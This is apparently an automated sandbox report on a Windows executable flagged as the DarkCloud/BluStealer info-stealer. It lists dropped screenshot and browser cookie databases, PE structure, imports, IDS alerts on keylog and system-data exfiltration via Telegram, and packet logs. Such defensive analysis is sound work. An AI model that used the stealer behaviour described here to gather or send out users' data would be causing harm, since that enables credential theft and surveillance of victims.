File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.775400358539719
Encrypted:	false
SSDEEP:	12288:bysTDU5vhz9irDkIBk8UeaMVR8DkxLJbO83/gZE+2PJkVVPJ+a6jSxqkRMMUUUXb:hTevN9i7b/gkevx1bMpW1XlI
MD5:	AF1CAE3099E67268609FE04AE1F83E7F
SHA1:	4A252FA7B6CA0B3620A9A572913C07434368CC6B
SHA-256:	6CCBDE8C0F54C6851CA99BD45F97D906832365D6B13F3565CDA9FC946151B7CB
SHA-512:	2DB3DD9C847135F06ACE07497B98A9CEEB0FFF6208604B2679EA445CCCC1E136688B97803AFDE1E22D809D007919CDC132506DD60A33ADE7B5C0E5B0236030B9
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotyaJwAjQs.BMP

Download File

Process:	C:\Users\user\Desktop\wMy37vlfvz.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.775400358539719
Encrypted:	false
SSDEEP:	12288:bysTDU5vhz9irDkIBk8UeaMVR8DkxLJbO83/gZE+2PJkVVPJ+a6jSxqkRMMUUUXb:hTevN9i7b/gkevx1bMpW1XlI
MD5:	AF1CAE3099E67268609FE04AE1F83E7F
SHA1:	4A252FA7B6CA0B3620A9A572913C07434368CC6B
SHA-256:	6CCBDE8C0F54C6851CA99BD45F97D906832365D6B13F3565CDA9FC946151B7CB
SHA-512:	2DB3DD9C847135F06ACE07497B98A9CEEB0FFF6208604B2679EA445CCCC1E136688B97803AFDE1E22D809D007919CDC132506DD60A33ADE7B5C0E5B0236030B9
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\WebData

Download File

Process:	C:\Users\user\Desktop\wMy37vlfvz.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\cookies.db

Download File

Process:	C:\Users\user\Desktop\wMy37vlfvz.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\cookies.db-shm

Download File

Process:	C:\Users\user\Desktop\wMy37vlfvz.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.8287734610416235
TrID:	Win32 Executable (generic) a (10002005/4) 98.59% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% UPX compressed Win32 Executable (30571/9) 0.30% Win32 EXE Yoda's Crypter (26571/9) 0.26% Generic Win/DOS Executable (2004/3) 0.02%
File name:	wMy37vlfvz.exe
File size:	459'776 bytes
MD5:	8f6ee9ba8ff5fd89141322d36e8fe46d
SHA1:	d316c5f7b286ca316129aed8ddd8baeaaa07961b
SHA256:	16efabc49c172527044fbf2015d1f48531cfb7b306b98fcd5c6fc16b38c68da0
SHA512:	cdac0887060381f8de39d3066454078a801038ad72381c03b9f5d0b9feb6656b04e4b580e21df9c41f274da730e071108724156e1e0bcfa658ec07ee1e8b4e88
SSDEEP:	12288:+CM2hGhIBUUAxT+Grwn5wOZ9iykdOjYKkJj6GmZU:j9GRUZrZ9iHdQYb6nZ
TLSH:	82A4293AE751612EF162C4B0B6E49257A8156D362288EC6BFB819F4931311D3ECF931F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}...9...9...9.......8...P...?.......8...Rich9...........PE..L..._x=g.............................<............@................

File Icon


Icon Hash:	00869eb0b230201f

Static PE Info

General

Entrypoint:	0x403cb4
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x673D785F [Wed Nov 20 05:49:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	39964b80b48841fc908ed66bf68aaa3e

Entrypoint Preview

Instruction
push 00403FF4h
call 00007F2374FC9BC3h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dh, ch
mov sp, seg?
xchg ebp, ebx
jmp far DA96h : 7C259A46h
sub dword ptr [esp+ebp*4+00000000h], ebx
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
wait
into
add dl, byte ptr [eax+72h]
outsd
push 00000065h
arpl word ptr [ecx+esi+00h], si
rol dword ptr [eax+00h], 08h
rol dword ptr [eax+00h], 00000000h
add byte ptr [eax], al
add bh, bh
int3
xor dword ptr [eax], eax
add eax, 2AC38779h
and al, 05h
test dword ptr [esi-76h], eax
mov eax, dword ptr [741CE9C7h]
sar ebp, cl
rol byte ptr [edi+edx*4-5Ah], cl
sub al, 02h
mov dword ptr [1E16BE40h], eax
or byte ptr [eax-43h], ah
mov ah, E9h
cmp cl, byte ptr [edi-53h]
xor ebx, dword ptr [ecx-48EE309Ah]
or al, 00h
stosb
add byte ptr [eax-2Dh], ah
xchg eax, ebx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
loop 00007F2374FC9BD2h
add byte ptr [eax], al
inc esi
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 726F4600h
insd
xor dword ptr [eax], eax
or eax, 46000501h
outsd
jc 00007F2374FC9C3Fh
xor dword ptr [eax], eax
or al, byte ptr [ecx]
sbb dword ptr [ecx], eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x47234	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4a000	0x28f38	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x48000	0x47200	dd2166f63d8a4898053e98e18b4e97d6	False	0.33281730557996486	data	5.7938599562849165	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x49000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4a000	0x28f38	0x28e00	f3886498128ceaae7978336250ef8f52	False	0.9593308008409785	data	7.8768262547472805	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
CUSTOM	0x4a938	0x28600	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed	English	United States	0.9682668540687248
RT_ICON	0x4a808	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 256			0.3223684210526316
RT_ICON	0x4a520	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640			0.19623655913978494
RT_ICON	0x4a3f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192			0.4155405405405405
RT_GROUP_ICON	0x4a3c8	0x30	data			1.0
RT_VERSION	0x4a1a0	0x228	data	English	United States	0.48731884057971014

Imports

DLL

Import

MSVBVM60.DLL

__vbaVarTstGt, __vbaVarSub, __vbaNextEachAry, _CIcos, _adj_fptan, __vbaStrI4, __vbaHresultCheck, __vbaVarMove, __vbaVarVargNofree, __vbaCyMul, __vbaAryMove, __vbaFreeVar, __vbaStrVarMove, __vbaLenBstr, __vbaPut3, __vbaFreeVarList, _adj_fdiv_m64, __vbaFpCDblR8, __vbaVarIndexStore, __vbaNextEachVar, __vbaFreeObjList, __vbaStrErrVarCopy, __vbaVarIndexLoadRef, _adj_fprem1, __vbaRecAnsiToUni, __vbaResume, __vbaCopyBytes, __vbaStrCat, __vbaLsetFixstr, __vbaStrDate, __vbaRecDestruct, __vbaSetSystemError, __vbaHresultCheckObj, __vbaLenBstrB, __vbaLenVar, _adj_fdiv_m32, __vbaAryVar, __vbaAryDestruct, __vbaVarXor, __vbaVarIndexLoadRefLock, __vbaLateMemSt, __vbaVarForInit, __vbaForEachCollObj, __vbaExitProc, __vbaOnError, __vbaObjSet, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, __vbaVarIndexLoad, __vbaBoolVar, __vbaRefVarAry, __vbaVarTstLt, __vbaBoolVarNull, _CIsin, __vbaErase, __vbaVarCmpGt, __vbaNextEachCollObj, __vbaVarZero, __vbaChkstk, __vbaFileClose, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaGet3, __vbaStrCmp, __vbaPutOwner3, __vbaAryConstruct2, __vbaVarTstEq, __vbaDateR8, __vbaI2I4, __vbaObjVar, DllFunctionCall, __vbaVarLateMemSt, __vbaVarOr, __vbaFpUI1, __vbaCastObjVar, __vbaRedimPreserve, __vbaLbound, _adj_fpatan, __vbaFixstrConstruct, __vbaR8Cy, __vbaRedim, __vbaRecUniToAnsi, __vbaUI1ErrVar, EVENT_SINK_Release, __vbaNew, __vbaUI1I2, _CIsqrt, __vbaObjIs, __vbaVarAnd, EVENT_SINK_QueryInterface, __vbaStr2Vec, __vbaVarMul, __vbaStrUI1, __vbaUI1I4, __vbaExceptHandler, __vbaPrintFile, __vbaStrToUnicode, __vbaExitEachAry, _adj_fprem, _adj_fdivr_m64, __vbaFPException, __vbaInStrVar, __vbaUbound, __vbaStrVarVal, __vbaGetOwner3, __vbaVarCat, __vbaDateVar, __vbaI2Var, _CIlog, __vbaErrorOverflow, __vbaFileOpen, __vbaVar2Vec, __vbaVarLateMemCallLdRf, __vbaNew2, __vbaInStr, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaVarSetObj, __vbaStrCopy, __vbaVarNot, __vbaFreeStrList, _adj_fdivr_m32, __vbaPowerR8, _adj_fdiv_r, __vbaVarTstNe, __vbaVarSetVar, __vbaI4Var, __vbaForEachAry, __vbaVarCmpEq, __vbaAryLock, __vbaLateMemCall, __vbaVarAdd, __vbaStrToAnsi, __vbaVarDup, __vbaFpI2, __vbaVarCopy, __vbaVarLateMemCallLd, __vbaFpI4, __vbaRecDestructAnsi, __vbaLateMemCallLd, _CIatan, __vbaUI1Str, __vbaCastObj, __vbaAryCopy, __vbaStrMove, __vbaStrVarCopy, __vbaForEachVar, _allmul, _CItan, __vbaAryUnlock, __vbaUI1Var, __vbaVarForNext, _CIexp, __vbaMidStmtBstr, __vbaI4ErrVar, __vbaRecAssign, __vbaFreeStr, __vbaFreeObj

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-25T13:39:36.915612+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49750	162.55.60.2	80	TCP
2024-11-25T13:40:15.413974+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.6	49841	149.154.167.220	443	TCP
2024-11-25T13:40:23.770629+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.6	49862	149.154.167.220	443	TCP
2024-11-25T13:40:24.817386+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.6	49862	149.154.167.220	443	TCP
2024-11-25T13:40:29.222886+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.6	49876	149.154.167.220	443	TCP
2024-11-25T13:40:35.386318+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.6	49892	149.154.167.220	443	TCP
2024-11-25T13:40:36.340536+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.6	49892	149.154.167.220	443	TCP
2024-11-25T13:40:39.774986+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.6	49901	149.154.167.220	443	TCP
2024-11-25T13:40:46.286303+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.6	49917	149.154.167.220	443	TCP
2024-11-25T13:40:47.182620+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.6	49917	149.154.167.220	443	TCP
2024-11-25T13:40:50.510179+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.6	49927	149.154.167.220	443	TCP
2024-11-25T13:40:57.891652+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.6	49945	149.154.167.220	443	TCP
2024-11-25T13:40:58.735747+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.6	49945	149.154.167.220	443	TCP
2024-11-25T13:41:02.287037+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.6	49958	149.154.167.220	443	TCP
2024-11-25T13:41:08.671070+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.6	49972	149.154.167.220	443	TCP
2024-11-25T13:41:09.619388+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.6	49972	149.154.167.220	443	TCP
2024-11-25T13:41:12.671022+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.6	49983	149.154.167.220	443	TCP
2024-11-25T13:41:19.298013+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.6	49998	149.154.167.220	443	TCP
2024-11-25T13:41:20.217958+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.6	49998	149.154.167.220	443	TCP
2024-11-25T13:41:23.330619+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.6	50007	149.154.167.220	443	TCP
2024-11-25T13:41:30.190109+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.6	50012	149.154.167.220	443	TCP
2024-11-25T13:41:31.121876+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.6	50012	149.154.167.220	443	TCP
2024-11-25T13:41:34.597132+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.6	50013	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 13:39:35.468878984 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:39:35.588880062 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:35.588964939 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:39:35.593403101 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:39:35.714611053 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:36.915432930 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:36.915458918 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:36.915471077 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:36.915529013 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:36.915540934 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:36.915553093 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:36.915564060 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:36.915574074 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:36.915611982 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:39:36.915680885 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:39:36.915697098 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:36.915710926 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:36.915738106 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:39:36.915766954 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:39:37.035623074 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:37.035691977 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:37.035710096 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:39:37.035739899 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:39:37.039864063 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:37.039916992 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:39:37.116480112 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:37.116504908 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:37.116576910 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:39:37.116606951 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:39:37.120723009 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:37.120789051 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:39:37.122195959 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:37.122256041 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:39:37.122445107 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:37.122498035 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:39:37.130686998 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:37.130701065 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:37.130769968 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:39:37.137178898 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:37.137202978 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:37.137229919 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:39:37.137243032 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:39:37.145505905 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:37.145565033 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:39:37.145637035 CET	80	49750	162.55.60.2	192.168.2.6
Nov 25, 2024 13:39:37.145746946 CET	49750	80	192.168.2.6	162.55.60.2
Nov 25, 2024 13:40:13.499475956 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:13.499510050 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:13.499912977 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:13.514962912 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:13.514981985 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:14.881169081 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:14.881308079 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.319185019 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.319215059 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.319575071 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.319638968 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.391506910 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.413779974 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.413830996 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.413892031 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.413906097 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.413975000 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.414030075 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.414038897 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.414062977 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.414119005 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.414150953 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.414221048 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.414231062 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.414335966 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.414344072 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.414392948 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.414401054 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.414453030 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.414462090 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.414474010 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.414536953 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.414546013 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.414572001 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.414580107 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.414588928 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.414593935 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.414623022 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.414632082 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.414869070 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.414877892 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.414933920 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.414941072 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.414961100 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.414968014 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.415018082 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.415025949 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.415044069 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.415057898 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.415062904 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.415219069 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.415225983 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.415277958 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.415286064 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.415347099 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.415355921 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.415374994 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.415381908 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.415446043 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.415457010 CET	443	49841	149.154.167.220	192.168.2.6
Nov 25, 2024 13:40:15.415479898 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.415534019 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.415632963 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.415643930 CET	49841	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:40:15.415786982 CET	49841	443	192.168.2.6	149.154.167.220
